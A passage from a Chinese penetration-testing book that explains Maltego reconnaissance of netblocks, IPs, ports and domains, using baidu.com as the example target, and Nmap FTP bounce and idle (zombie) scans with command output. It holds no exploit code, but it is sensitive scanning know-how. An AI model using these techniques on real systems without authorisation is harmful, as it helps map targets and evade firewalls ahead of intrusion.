Shortcut（创建桌面快捷方式）。为了方便启动Maltego工具，可以勾选Create Desktop Shortcut前面的复选框。然后，单击Finish按钮，将会在桌面出现一个名为Maltego的图标。单击名为Maltego的图标，即可启动Maltego工具。 未知 8.1.3 注册账号 通过前面的方法，Maltego工具已经成功安装到系统中，即可启动该工具了。但是在第一次使用Maltego工具时需要登录，所以需要先注册一个账号。注册账号的地址如下： https://www.paterva.com/web7/community/community.php 。 在浏览器中输入以上地址后，显示界面如图8.7所示。 图8.7 注册账号 提示： Maltego官网是一个国外网站，所以国内用户在注册账号时，可能会发现验证码没有显示出来，如图8.8所示。当出现这种情况时，可以使用VPN解决，或者过段时间再访问。 图8.8 验证码未显示 在图8.8所示界面中填写注册信息后，勾选“进行人机身份验证”复选框，将弹出一个图片验证界面，如图8.9所示。在其中根据提示选择对应的图片，然后单击“验证”按钮进行验证。验证成功后，将显示如图8.10所示界面。 图8.9 验证图片 图8.10 验证成功 单击Register!按钮完成注册。此时，注册账号时使用的邮箱将会收到一封邮件，登录邮箱，将用户账户激活即可。"},
    {"text": "未知 8.1.4 启动Maltego 通过前面的操作及配置后，现在就可以启动并使用Maltego工具了。下面介绍在Kali Linux中启动Maltego工具的方法。 （1）在图形界面的菜单栏中依次选择“应用程序”|“信息收集”|maltego命令，将弹出如图8.11所示对话框。 图8.11 选择产品 （2）在图8.11中显示了可以使用的Maltego产品，包括Maltego XL、Maltego Classic、Maltego CE(Free)和Maltego CaseFile(Free)。其中，Maltego CE和Maltego CaseFile是免费的。本例中要使用的是Maltego工具，所以单击Maltego CE(Free)下面的Run按钮，将进入如图8.12所示对话框。 图8.12 许可协议信息 （3）图8.12中显示为许可协议信息。这里勾选Accept复选框，并单击Next按钮，进入如图8.13所示对话框。 图8.13 登录信息 （4）在图8.13所示对话框中输入前面注册的账户信息（邮件地址、密码和验证码），单击Next按钮，进入如图8.14所示对话框。 图8.14 登录结果 （5）图8.14为登录结果。从中可以看到登录的账户名、邮箱地址及登录时间等信息。单击Next按钮，进入如图8.15所示对话框。 图8.15 安装Transforms （6）图8.15中为将要安装的Transform、实体和主机等信息。单击Next按钮，进入如图8.16所示对话框。 （7）在图8.16所示对话框中可以设置是否启用自动发送错误报告功能。如果想要启用该功能，勾选Automatically send Error Reports前面的复选框即可。单击Next按钮，进入如图8.17所示对话框。如果不想启用该功能的话，直接单击Next按钮即可。 图8.16 帮助改进Maltego 图8.17 准备界面 （8）从图8.17中可以看到Maltego已准备好。此时就可以使用Maltego工具进行信息收集了。这里默认提供了3种方法，分别是Open a blank graph and let me play around（打开一个空白的图）、Open an example graph（打开一个实例图）和Go away,I have done this before!（离开）。这里选择第一种运行方法Open a blank graph and let me play around，将打开如图8.18所示窗口。 图8.18 打开了一个新图 （9）如看到图8.18所示的窗口，则表示成功启动了Maltego。接下来可以选择任意实体，然后使用Maltego支持的Transform对信息进行整理并分析。 未知 8.1.5 安装第三方Transform Transform是一个信息收集器，可以根据当前实体节点进行信息收集，并生成该节点的子节点。Maltego工具安装后，默认自带了一些Transform，可以用来收集信息。为了能够获取更多的信息，可以安装一些第三方的Transform。下面介绍安装第三方Transform的方法。 【实例8-1】下面将以名为Shodan的Transform集为例，介绍具体的安装方法。操作步骤如下： （1）在Maltego的主界面中选择Home选项卡，将显示如图8.19所示的界面。 （2）在图8.19所示界面中分为左右两部分信息，左侧显示了Maltego工具的版本信息；右侧显示了所有的Transform集，包括已安装的、未安装的、免费的和付费的及社区版不支持的Transform。其中，Transform集中显示为FREE，则表示免费的；显示为PURCHASED SEPARATELY表示付费；如果该Transform集已经安装的话，在右下角将看到INSTALLED标记；否则，表示没有安装。另外，显示为灰色的Transform集表示在该社区版本中不支持。如果读者想要安装这些第三方的Transfom，将光标悬浮到对应的Transform上面，将看到Install提示，如图8.20所示。 图8.19 Home页面 图8.20 安装Transform （3）此时，单击Install按钮，将弹出提示是否安装该Transform集的对话框，如图8.21所示。 （4）单击Yes按钮，将显示如图8.22所示对话框。 图8.21 是否安装Transforms 图8.22 指定Shodan API Key 提示： 如果安装的Transform集不需要登录的话，将不会出现图8.22的界面。当单击Yes按钮后，即可安装Transform集。 （5）如图8.22所示对话框中要求输入一个Shodan API Key。由于使用Shodan获取信息需要登录该站点，所以这里需要一个API Key。读者可以到其官网注册一个账号，即可获取API Key。将自己注册的账号API Key添加后，单击OK按钮将开始安装该Transform。当安装完成后，显示界面如图8.23所示。 图8.23 安装完成 （6）从图8.23中可以看到已成功安装了Transform集。其中，包括一个应用服务和24个Transform。单击Finish按钮，完成安装。 未知 8.1.6 创建图表 当第一次启动Maltego工具时，可以直接选择打开一个新的图表。当第二次启动该工具时，将显示Maltego的Home页面，此时需要读者自己创建图表。另外，Maltego工具支持创建多个图表。当需要同时分析及比对整理的信息时，则需要使用多个图表来显示，此时就可以创建一个新的图表。下面介绍创建图表的方法。 【实例8-2】创建图表。具体操作步骤如下： （1）打开Maltego工具的Home页面，如图8.24所示。 图8.24 Maltego的Home页面 （2）单击左上角的 图标，将会弹出一个菜单栏，如图8.25所示。 （3）选择New命令，或者直接单击Maltego菜单栏中的 图标，即可打开新的图表，如图8.26所示。 图8.25 菜单栏 图8.26 创建的图表 （4）此时创建了一个名为New Graph(1)的图表。如果再创建一个图表的话，则名为New Graph(2)，以此类推。而且，这些图表之间可以进行切换。"},
    {"text": "未知 8.2 网段分析 当我们将Maltego工具的环境工作准备好后，即可使用该工具对信息进行整理和分析了。本节将介绍如何对网段地址进行整理和分析，以获取相关的信息。 未知 8.2.1 网段实体Netblock 如果要使用Maltego工具对网段进行分析，首先需要选择用于分析网段的实体Netblock。此时，在Maltego的实体列表中选择Netblock实体，并将其拖到图表中，显示如图8.27所示的界面。 图8.27 使用网段实体Netblock 从实体信息中可以看到，默认指定的网段地址为74.207.243.0-74.207.243.255。此时可以整理自己要分析的网段。例如，这里指定要分析的网段为192.168.0.1-192.168.0.10，可以使用两种方式来指定要分析的网段。第一种方式是，直接双击实体中显示的地址；第二种方式是，修改属性IP Range的值。修改完成后，显示如图8.28所示的界面。 此时可以使用Maltego中的Transform来获取该网段中主机的相关信息，如IP地址、网段AS等。 图8.28 指定要分析的网段 未知 8.2.2 获取IP地址 当我们将要分析的网段整理完成后，即可获取其相关信息了。例如，获取指定网段中的IP地址。首先选择网段实体，并右击，将弹出所有可用的Transform菜单栏，如图8.29所示。 图8.29 可运行的Transform 这里选择名为To IP addresses[Found in Netblock]的Transform，即可获取该网段实体的IP地址，如图8.30所示。 图8.30 获取的IP地址 从图8.30显示的结果中可以看到，成功获取到了网段192.168.1.1～192.168.1.5中的IP地址。其中，在该网段中共包括5个IP地址，分别是192.168.1.1、192.168.1.2、192.168.1.3、192.168.1.4和192.168.1.5。 未知 8.2.3 获取网段AS AS（Autonomous System）是指使用统一内部路由协议的一组网络。它一般在大型网络中使用，如运营商的网络就是一个自治系统。任何一个公网IP都从属于特定的AS。例如，联通、电信、移动就是AS，它们管理各自的公网IP地址。当我们实施广域网扫描的时就需要通过分析网段，获取其AS。 通过前面的扫描，可以探测到广域网中 www.baidu.com 的IP地址为61.135.169.121和61.135.169.125。下面通过整理该网段地址为61.135.169.120～61.135.169.125，来获取其AS。其中，指定的网段实体地址如图8.31所示。 图8.31 网段实体 此时选择该网段实体并右击，选择快捷菜单中的To AS number命令，通过Transform来获取网段AS号码，如图8.32所示。 图8.32 选择使用的Transform 选择To AS number选项后，将显示如图8.33所示的界面。 从图8.33中可以看到成功获取到了网段61.135.169.120～61.135.169.125的AS号码。其中，获取到的AS号码为63949。 图8.33 获取到的AS号码 当我们获取到目标网段的AS号码后，通过分析AS号码，可以获取该AS号对应的组织，以了解该组织/运营商的相关信息。下面介绍获取AS组织信息的方法。 （1）在Maltego的图表中选择AS实体，并右击，即可看到可用的Transform列表，如图8.34所示。 图8.34 选择Transform （2）选择名为To Company[owner]的Transform。运行后即可获取到相关的信息，如图8.35所示。 图8.35 获取的结果 （3）从图8.35中可以看到成功获取到AS的公司组织信息。例如，获取该AS相关的组织有cmi ip transit和china unicom（中国联通）等。 未知 8.2.4 获取网段物理位置信息 为了能够收集到更详细的信息，还可以使用Maltego获取某网段中主机的物理位置信息。这样，可以有助于帮助我们分析后续渗透测试的实施方式。下面介绍获取网段物理位置信息的方法。 【实例8-3】获取网段61.135.169.120-61.135.169.125的物理位置信息。 （1）使用网段实体Netblock指定分析的网段，如图8.36所示。 （2）选择用于获取物理位置信息的Transform，如图8.37所示。 （3）这里选择名为To Location[city,country]的Transform，可以用来获取网段的城市和国家。当成功获取到位置信息后，显示界面如图8.38所示。 图8.36 网段实体 图8.37 选择Transform （4）从图8.38中可以看到，成功获取到了网段的物理位置。其中，该位置信息为Beijing,Beijing(China)。 图8.38 查询结果 未知 8.2.5 获取网段相关域名信息 当一个网段中的主机是一台Web服务器的话，则可能有对应的域名信息。下面将介绍获取网段相关域名信息的方法。 下面仍然以整理的网段61.135.169.120-61.135.169.125为例，来获取相关域名信息。这里将选择使用名为[DNSDB]To DNSNames with this value的Transform来获取信息，如图8.39所示。 图8.39 选择Transform 提示： 在本例中使用的Transform是由Transforms Hub中的Farsight DNSDB提供的，需要读者手动安装。 （1）在菜单栏中选择[DNSDB]To DNSNames with this value的Transform后，弹出如图8.40所示对话框。 图8.40 Required inputs对话框 （2）勾选I accept the above disclaimer和Remember these settings复选框，然后单击Run!按钮，即可获取相关域名信息，如图8.41所示。 图8.41 获取结果 （3）从图8.41中即可以看到获取到的整个网段中的域名信息。其中，获取到的域名有formi.baidu.com、ac.sieor.org和kenpian.cc等。"},
    {"text": "未知 8.3 IP地址分析 经过前面的扫描，如果读者对某台主机更感兴趣的话，可以尝试使用Maltego的IP地址实体来分析IP地址信息，如IP所有者、网络信息和物理信息等。 未知 8.3.1 IP地址实体 如果要进行IP地址分析，首先需要选择一个IP地址实体，从前期扫描出的IP地址中选择将要分析的IP地址。然后，通过使用IP地址实体来指定分析的IP地址。在Maltego的实体面板中提供有IP地址实体，其名称为IPv4 Address。在实体面板中选择该实体并将其拖放到Maltego的图表中，效果如图8.42所示。读者也可以使用Netblock生成的IP地址实体进行分析。 图8.42 IP地址实体 从图8.42中可以看到，成功选择了一个IP地址实体，即默认指定的IP地址74.207.243.85。此时，使用前面介绍的修改实体的方法（参考8.2.1节），将其设置为要分析的IP地址。例如，分析域名 www.baidu.com 的IP地址61.135.169.121，如图8.43所示。 从图8.43中可以看到，IP地址实体已修改为要分析的IP地址61.135.169.121。接下来，可以使用Maltego中的Transform集获取该地址相关的信息并进行分析。 图8.43 指定分析的IP地址 未知 8.3.2 分析IP地址所有者信息 对于一个固定的公网IP地址，将会有对应的WHOIS信息。通过查询WHOIS信息，即可获取到该IP地址的所有者信息。下面介绍获取IP地址所有者信息的方法。 这里将以百度的IP地址61.135.169.121为例，来获取该地址的所有者信息。在Maltego的图表中选择IP地址实体，并右击，将显示所有的Transform列表，如图8.44所示。 图8.44 选择Transform 选择名为To Entities From WHOIS[IBM Watson]的Transform，即可获取其所有者信息，如图8.45所示。 图8.45 获取的结果 从图8.45中可以看到，通过查询WHOIS信息，成功获取到了IP地址61.135.169.121的所有者信息，包括所有者的公司地址、邮件地址和电话号码。 未知 8.3.3 分析IP地址网络信息 当我们整理出扫描的IP地址后，还可以分析该IP地址的网络信息、物理信息和历史信息。下面介绍分析IP地址网络信息的方法。 这里仍然以IP地址61.135.169.121为例，分析IP网络信息。首先在Maltego的图表中选择IP地址实体并右击，将弹出所有可用的Transform列表。选择名称为[DNSDB]To DN SNames with this IP的Transform获取该IP的相关域名，如图8.46所示。 此时将显示如图8.47所示的界面。 图8.46 选择Transform 图8.47 获取到的相关域名 从图8.47中可以看到，成功获取到了IP地址61.135.169.121的相关域名，如www.kenpian.cc、baidu.zhaiyao.info和kenpian.cc等。另外，还可以使用Shodan的Transform来获取IP网络信息。在Maltego的Transform集中提供了Shodan的Transform，只需要安装即可使用。此时，在Transform的列表中选择名为To All Details[shodan]的Transform，如图8.48所示。 图8.48 选择Transform 之后即可获取到该IP地址的所有详细信息，如图8.49所示。 图8.49 详细信息 从图8.49中可以看到获取到的IP地址的所有详细信息，包括该IP地址的AS号码、开放服务、短语及哈希值等。例如，该IP地址的AS号码为4808、开放了端口为80和443的服务等。 此外，还可以选择名为ZETAlytics Massive Passive的Transform集来获取IP的相关网络信息。该Transform集中可用的Transform列表，如图8.50所示。 在该Transform列表中，[Z]开头的Transform都是由名为ZETAlytics Massive Passive的Transform集提供的。此时可以获取该IP地址的域名、主机名、NS主机名和DNS反向记录。当运行这些Transform后，即可获取到相关的信息，如图8.51所示。 图8.50 选择Transform 图8.51 获取到的信息 从图8.51显示的结果中可以看到IP地址61.135.169.121的相关网络信息，如域名、NS主机名及反向DNS记录等。其中，该IP地址的NS主机名为LOVE.PANMISHA.TOP、主机名为localhost、对应的域名有liutongyue.com、jl.lieju.com等。 未知 8.3.4 分析IP地址物理信息 前面介绍了获取一个网段的物理位置信息的方法。对于一个IP地址已经准确到一台主机了，此时如果能够确定该IP地址的位置，则可以更近距离地接近目标来实施渗透。下面介绍分析IP地址物理信息的方法。 下面将选择分析IP地址61.135.169.121的物理信息。首先，选择并右击该IP地址实体，将显示可使用的Transform列表，如图8.52所示。 图8.52 选择实体 我们可以选择使用To GPS[shodan]和To Location[city,country]的Transform，来获取该IP地址的经纬度、城市和国家位置信息。当对IP地址实体运行这两个Transform后，将显示如图8.53所示的界面。 图8.53 执行结果 从图8.53中可以看到获取到IP地址的物理位置信息。其中，经度纬度值为39.9288,116.3889；城市和国家地址为Beijing,Beijing(China)。"},
    {"text": "未知 8.3.5 获取IP地址过往历史信息 为了方便记忆和书写，一个网站主机通常会使用域名来代替IP地址。但是，该域名是固定的，IP地址用户可以随时进行修改。如果将该地址修改后，则原有的IP地址将成为历史信息。所以，当我们扫描到一个主机的IP地址后，有可能是刚修改过的新IP地址。为了能够更深入地了解该主机，我们可以获取IP地址过往的历史信息。 下面将以前面的IP地址及获取的网络信息为例，获取该IP地址的过往历史信息，如图8.54所示。 图8.54 IP网络信息 这里将选择获取域名liutongyue.com的IP地址历史信息。选择该实体并右击，即可显示Transform列表，如图8.55所示。 在该列表中可以选择用于获取历史信息的Transform来获取信息。其中，可以获取历史信息的Transform有[Securitytrails]WHOIS History和[Z]Domain to IPV4 Address History，分别用来获取WHOIS历史信息和IP地址历史信息。例如，这里将获取该域名的IP地址历史信息。当获取到结果后，显示界面如图8.56所示。 图8.55 选择Transform 图8.56 获取的结果 从显示结果中可以看到，获取到域名liutongyue.com的IP历史地址为98.126.6.83。 当我们获取到一个IP历史地址后，还可以使用其他的Transform获取该地址的一些信息，如恶意软件的Hash值，使用过的URL或在哪个文件中出现过等。下面将获取IP历史地址98.126.6.83的过往信息。具体步骤如下： （1）在Maltego中选择IP历史地址98.126.6.83实体并右击，将显示所有的Transform，如图8.57所示。 图8.57 Transform列表 （2）可以使用名为Threat Miner的Transform集中的所有Transform来获取IP过往信息，包括域名、组织、病毒的Hash值和SSL证书等。运行一个Transform，即可获取对应的信息。这里为了能够更快速地获取到所有信息，可以直接运行Transform集。在该Transform集中，单击左上角的 按钮，即可看到Transform集的分类，如图8.58所示。 提示： ThreatMiner Transform是由第三方ThreatMiner提供的，所以需要在Thransform集的界面，手动安装该Transform集。 （3）这里将使用ThreatMiner的Transform集来获取IP地址的过往历史信息。单击ThreatMiner Transform集的 图标，即可同时执行所有的Transform集。执行完成后，将显示如图8.59所示的界面。 图8.58 Transform集列表 图8.59 获取的结果 （4）从图8.59中可以看到获取的IP地址的过往历史信息，包括域名、URL和恶意软件的哈希值。我们还可以进一步获取该恶意软件存在的文件。在图8.59中选择哈希实体并右击，将弹出可以使用的Transform列表，如图8.60所示。 图8.60 选择Transform （5）选择名为[Threat Miner]Malware to Filename的Transform，即可获取该恶意程序的文件，如图8.61所示。 图8.61 获取的文件名 （6）从图8.61中可以看到获取到的恶意文件，该文件名为inst_ops_d21_1.exe。 未知 8.4 端口和服务分析 在Maltego工具中也提供了端口和服务实体，可以用来整理并分析主机的端口和服务。下面介绍对主机的端口和服务信息进行分析的方法。 未知 8.4.1 端口实体Port 在Maltego工具中，用来分析端口的实体为Port。我们可以在实体面板中选择该实体，然后将该实体拖放到图表中用来进行端口分析，如图8.62所示。 图8.62 端口实体 从图8.62中可以看到，在图表中添加了一个端口实体。此时，我们可以整理某个主机开放的所有端口，方便以后进行分析。经过对扫描结果的分析知道，在主机61.135.169.121上开放了两个端口，分别是80和443。此时，再拖放一个端口实体，用来标注主机开放的端口，并使用连接线将实体之间的关系连接起来，如图8.63所示。 为了更明确地看到端口80和443是主机61.135.169.121开放的，这里使用连接线与这两个端口连接起来。在IP地址实体（61.135.169.121）附近单击，将会延生出一根线条，然后单击端口实体即可。此时将会弹出一个对话框，如图8.64所示。 图8.63 整理出的开放端口 该对话框中的信息是用来设置连接线的，如Label（标签）、Color（颜色）、Style（线条风格）和Thickness（线条粗细）等。这里将设置线条的标签为port、颜色为红色，其他使用默认值，如图8.65所示。然后单击OK按钮，即可看到连接线，如图8.66所示。 图8.64 连接线属性对话框 图8.65 设置的结果 图8.66 整理出的端口信息"},
    {"text": "未知 8.4.2 服务实体Service 在Maltego工具中，还提供了一个服务实体Service，可以用来对主机中开放的服务进行整理并分析。例如，可以将整理出的服务实体添加注释，用来标记出该服务的版本、软件提供商和知名的漏洞信息，以方便对该服务进行分析。这样，当根据服务版本漏洞来分析主机时，可以快速找出可以利用该服务漏洞的主机，做进一步分析和验证。 【实例8-4】使用服务实体进行服务分析。具体操作步骤如下： （1）在Maltego的实体面板中选择服务实体Service并将其拖放到图表中，如图8.67所示。 （2）从图8.67中可以看到，成功将服务实体放在图表中。此时，我们可以根据扫描的结果，用该实体表示开放的服务。例如，通过整理前面的扫描结果，发现主机61.135.169.121上开放了Apache服务，版本为Apache httpd 2.4.34。为了方便进行分析，可以将服务实体名称命名为Apache，其版本号通过注释的信息来标记。双击实体名称即可对其进行修改。接下来为该实体添加注释。首先选择要添加注释的实体，如图8.68所示。 图8.67 添加的服务实体 图8.68 选择实体 （3）将光标放在选择的实体上，此时将会看到实体上面显示了一个 图标和一个 图标。其中， 图标表示一个书签， 图标就是用来添加注释的。这里双击 图标，将会弹出一个添加注释信息的文本框，如图8.69所示。 图8.69 注释信息文本框 （4）文本框默认内容为Click here to add notes，单击该文本框即可修改其内容。本例中添加的注释信息如图8.70所示。 图8.70 添加的注释 （5）从图8.71中可以看到，这里添加的注释信息为Apache httpd 2.4.34。接下来，同样可以使用连接线的方式，将该服务与对应的主机或端口连接起来，结果如图8.71所示。 图8.71 整理结果 未知 8.5 域名分析 在广域网中，很多IP地址都和域名进行关联。通过分析对应的域名，可以获取更多的主机信息。本节将介绍使用Maltego工具对域名进行分析。 未知 8.5.1 使用域名实体Domain 在Maltego中提供了一个域名实体Domain，可以用来对域名进行分析。使用时，首先需要从实体列表中拖放一个域名实体到图表中，显示结果如图8.72所示。 从图8.72中可以看到，在图表中已经添加了域名实体，默认的域名为paterva.com。此时需要将其修改为我们要分析的域名。例如，这里将选择分析百度网站的域名baidu.com。所以，修改默认的域名实体名称为baidu.com，如图8.73所示。 图8.72 域名实体 图8.73 指定要分析的域名 从图8.73中可以看到，成功修改了域名实体名称为baidu.com。接下来我们就可以使用Maltego工具提供的Transform来获取域名相关信息了，如域名的所有者、子域名等。 未知 8.5.2 获取域名注册商信息 每个域名都有对应的WHOIS信息。通过查询WHOIS信息，即可获取到域名的注册商信息。下面介绍获取域名所有者信息的方法。 （1）在New Graph（1）图表中选择域名实体（baidu.com）并右击，将弹出所有可以使用的Transform列表，如图8.74所示。 图8.74 选择Transform （2）在其中选择名为To Entities from WHOIS[IBM Watson]的Transform，即可获取到该域名的注册商信息，如图8.75所示。 图8.75 获取的结果 （3）从图8.75中可以看到，成功获取到了域名baidu.com关联的注册商信息，包括组织名称、注册商的邮件地址、注册人及注册的电话号码。例如，该域名注册商公司为VeriSign；注册者为Register.com、注册者的电话号码为+1 8003337680。"},
    {"text": "未知 8.5.3 获取子域名及相关信息 每个域名都至少有一个子域名。通过获取域名的子域名，可以发现目标关联的其他主机信息。下面将介绍获取子域名信息的方法。 （1）在New Graph（1）图表中选择域名实体并右击，将弹出所有可以使用的Transform列表，如图8.76所示。 图8.76 选择Transform （2）选择名为[Z]Domain to Subdomains的Transform，即可获取相关的子域名，如图8.77所示。 （3）从图8.77中可以看到，成功获取到了域名baidu.com的相关子域名，如pqdiox.www.baidu.com和cxrw.baidu.com等。从显示的结果中可以看到，这里仅获取到了几个子域名，一些经常访问的子域名没有获取到，如www.baidu.com、mp3.baidu.com等。如果想要获取这些子域名信息的话，则可以把它们整理出来并手动添加进去，然后使用连接线建立实体之间的关系。例如，这里添加一个子域名www.baidu.com。首先在实体列表中选择域名实体Domain并拖放到New Graph（1）图表中，修改域名为www.baidu.com。然后使用连接线与域名baidu.com关联起来。添加成功后，显示界面如图8.78所示。 图8.77 获取的结果 图8.78 添加了一个子域名 当我们获取到子域名后，还可以通过该子域名来获取相关的主机地址、历史IP地址、关联的恶意软件的哈希值和对应的URL等。下面将以子域名 www.baidu.com 为例，介绍获取子域名相关信息的方法。 （1）在New Graph（1）图表中选择子域名实体 www.baidu.com 并右击，将弹出所有可用的Transform列表，如图8.79所示。 图8.79 选择Transform （2）在其中选择名为[Threat Miner]Domain to IP(pDNS)的Transform，即可获取对相关的主机IP地址，如图8.80所示。 （3）从图8.80中即可以看到获取到子域名 www.baidu.com 的相关主机地址。我们还可以通过选择[DNSDB]To records with this hostname的Transform，来获取子域名相关的主机记录，结果如图8.81所示。 （4）从图8.81中可以看到子域名的相关主机记录信息。其中，该子域名对应的IP地址有120.52.73.120、120.52.73.121等；别名为 www.a.shifen.com 。另外，如果想要获取该子域名的URL、关联的恶意软件的哈希值、IP地址的话，可以通过选择[Threat Miner]Domain to Samples和[Threat Miner]Domain to URI的Transform来获取，具体步骤与前面操作类似，不再赘述。获取结果如图8.82所示。 图8.80 获取的结果 图8.81 获取的结果 图8.82 获取的结果 （5）从图8.82中可以看到，成功获取到了子域名（ www.baidu.com ）相关的恶意程序哈希值及对应的URL地址。 未知 附录A 特殊扫描方式 前面章节中介绍了一些通用的扫描方式，可以对目标主机实施扫描。附录A将介绍两种特殊扫描方式，分别是FTP弹跳扫描和僵尸扫描。"},
    {"text": "未知 A.1 FTP弹跳扫描 FTP弹跳扫描就是利用存在漏洞的FTP服务器（如HP JetDirect打印服务器），对目标主机端口实施扫描。在Nmap中提供了一个-b选项，可以用来实施FTP弹跳扫描。用于实施FTP弹跳扫描的语法格式如下： 以上语法中的选项及含义如下： nmap -b [username:password@server:port] -Pn -v [host] ·-b：实施FTP弹跳扫描，其格式为username:password@server:port。其中，server是指FTP服务的名字或IP地址。如果FTP服务器允许匿名用户登录的话，则可以省略username:password。另外，当FTP服务使用默认端口21时，也可以省略端口号（以及前面的冒号）。FTP协议有一个特点就是支持代理FTP连接。它允许用户连接到一台FTP服务器上，然后要求文件送到一台第三方服务器上。这个特性在很多场景中被滥用，所以许多服务器已经停止支持了。其中一种场景就是使得FTP服务器对其他主机端口扫描。这是绕过防火墙的好方法，因为FTP服务器常常被置于防火墙之后，可以访问防火墙之后的其他主机，如图A.1所示。 ·-Pn：实施Ping扫描。 ·-v：显示详细信息。 【实例A-1】利用FTP服务器（192.168.1.5）对目标主机（192.168.1.7）实施FTP弹跳扫描，以获取主机中开放的其他端口。执行命令如下： root@daxueba:~# nmap -p 21,22,80 -b 192.168.1.5 -Pn 192.168.1.7 -v Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-09 18:51 CST Resolved FTP bounce attack proxy to 192.168.1.5 (192.168.1.5). Initiating Parallel DNS resolution of 1 host. at 18:51 Completed Parallel DNS resolution of 1 host. at 18:51, 0.00s elapsed Attempting connection to ftp://anonymous:-wwwuser@@192.168.1.5:21 Connected:220-FileZilla Server 0.9.60 beta 220-written by Tim Kosse (tim.kosse@filezilla-project.org) 220 Please visit https://filezilla-project.org/ Login credentials accepted by FTP server! Initiating Bounce Scan at 18:52 Completed Bounce Scan at 18:52, 0.00s elapsed (3 total ports) Nmap scan report for daxueba (192.168.1.7) Host is up. PORT STATE SERVICE 21/tcp closed ftp 22/tcp closed ssh 80/tcp closed http Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 9.06 seconds 从输出的信息可以看到，成功使用FTP弹跳扫描方式对目标主机的21、22和80端口实施了扫描。 图A.1 FTP弹跳扫描示意图 提示： 使用FTP弹跳扫描，并不是使用任意的FTP服务器都可以实现，而需要FTP服务器中存在漏洞。如果利用的FTP服务器中不存在漏洞的话，将会响应错误信息。例如： Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 19:49 CST Your FTP bounce server doesn't allow privileged ports, skipping them. Your FTP bounce server doesn't allow privileged ports, skipping them. Your FTP bounce server doesn't allow privileged ports, skipping them. Your FTP bounce server doesn't allow privileged ports, skipping them. Your FTP bounce server doesn't allow privileged ports, skipping them. Your FTP bounce server sucks, it won't let us feed bogus ports! QUITTING! 从以上输出信息中可以看到，捆绑的FTP服务不允许扫描端口。 未知 A.2 僵尸扫描 僵尸扫描是非常隐蔽的，而且实施的条件非常严格。如果要实施僵尸扫描，则必须先找到合适的僵尸机。其中，僵尸机必须符合以下两个条件： ·它需要是一个空闲主机，很少发送和接收数据包。 ·它的IPID必须是递增的，0和随机都不可以。现在大部分主流操作系统的PID都是随机产生的，但是早期的Windows XP系统（如Windows 2000、Windows 2003）都是递增的IPID。 未知 A.2.1 僵尸扫描的过程 如果要实施僵尸扫描，则需要对其工作流程有所了解。僵尸扫描的过程如下： （1）扫描者主机对Zombie（僵尸机）发送SYN/ACK包，然后Zombie（假设此时系统产生的IPID为x）会返回主机一个RST，主机将会得到Zombie的IPID。 （2）扫描主机向目标机器发送一个SYN包。此时扫描主机会伪装成Zombie的IP（即是x）向目标主机发送SYN包。 （3）如果目标的端口开放，便会向Zombie返回一个SYN/ACK包。但是Zombie机并没有发送任何的包，Zombie会觉得莫名其妙，于是向目标主机发送一RST进行询问。此时Zombie的IPID将会增加1（x+1）。如果目标主机的端口并未开放，那么目标主机也会向Zombie机发送一个RST包。但是Zombie收到RST包不会有任何反应，所以IPID不会改变（依旧是x）。 （4）扫描者主机再向Zombie发送一个SYN/ACK。同样Zombie机会摸不着头脑，然后再向扫描者主机发送一个RST包。此时，Zombie的IPID将变成（x+2）。"},
    {"text": "未知 A.2.2 实施僵尸扫描 在Nmap工具中，提供了一个-sI选项可以用来实施僵尸扫描。用来实施僵尸扫描的语法格式如下： nmap -sI <zombie host[:probeport]> 这种高级的扫描方法允许对目标进行真正的TCP端口盲扫描。 在Nmap中提供了大量用于僵尸扫描的脚本序（如ipidseq.nes脚本）。所以我们可以通过调用这些脚本程序来判断一个主机是否是一个合适的僵尸机。 【实例A-2】使用Nmap实施僵尸扫描。具体步骤如下： （1）使用Nmap扫描指定端口来判断主机（192.168.1.5）是否是合适的僵尸机（zombie）。执行命令如下： root@daxueba:~# nmap -p 445 192.168.1.5 --script=ipidseq.nse Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 18:09 CST Nmap scan report for test-pc (192.168.1.5) Host is up (0.00036s latency). PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: 00:0C:29:21:8C:96 (VMware) Host script results: |_ipidseq: Incremental! Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds 从输出信息中可以看到，主机192.168.1.5的IPID是递增的。所以，可以使用该主机作为僵尸机对目标实施扫描。 （2）实施僵尸扫描。执行命令如下： root@daxueba:~# nmap 192.168.1.6 -sI 192.168.1.5 -Pn Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 18:10 CST Idle scan using zombie 192.168.1.5 (192.168.1.5:80); Class: Incremental Nmap scan report for 192.168.1.6 (192.168.1.6) Host is up (0.051s latency). Not shown: 977 closed|filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown MAC Address: 00:0C:29:3E:84:91 (VMware) Nmap done: 1 IP address (1 host up) scanned in 20.92 seconds 从以上输出信息中可以看到，通过Nmap，成功使用僵尸机192.168.1.5对目标主机实施了僵尸扫描。另外，从显示结果中还可以看到目标主机上开放的所有端口及对应的服务名。 未知 附录B 相关API 当我们在安装某个第三方Transform时，需要使用API Key，如Shodan。下面介绍获取API Key值的方法。 未知 B.1 注册Shodan账号 如果要使用Shodan提供的Transform，则需要安装Shodan。在前面介绍安装Shodan的Transform集时我们知道，需要提供一个API Key值。此时，通过注册一个账号即可获取到对应的API Key。下面介绍具体的注册方法。 【实例B-1】注册Shodan账号，并获取API Key。具体操作步骤如下： （1）在浏览器中访问Shodan官网，其地址为 https://www.shodan.io/ 。当访问成功后，将显示如图B.1所示的页面。 图B.1 Shodan官方主页 （2）选择右上角的Login or Register选项，将打开账号登录和注册页面。在其中选择Register选项卡，将进入注册页面，如图B.2所示。 图B.2 设置注册账号信息 （3）在图B.2中设置账号信息，如用户名、密码和邮箱地址。设置完成后，单击CREATE按钮，将进入如图B.3所示的页面。 图B.3 账号创建成功提示 （4）可以看到，页面提示账号创建成功。此时需要到注册邮箱中激活该账号。进入注册邮箱后，可以看到一个账户激活链接，如图B.4所示。 图B.4 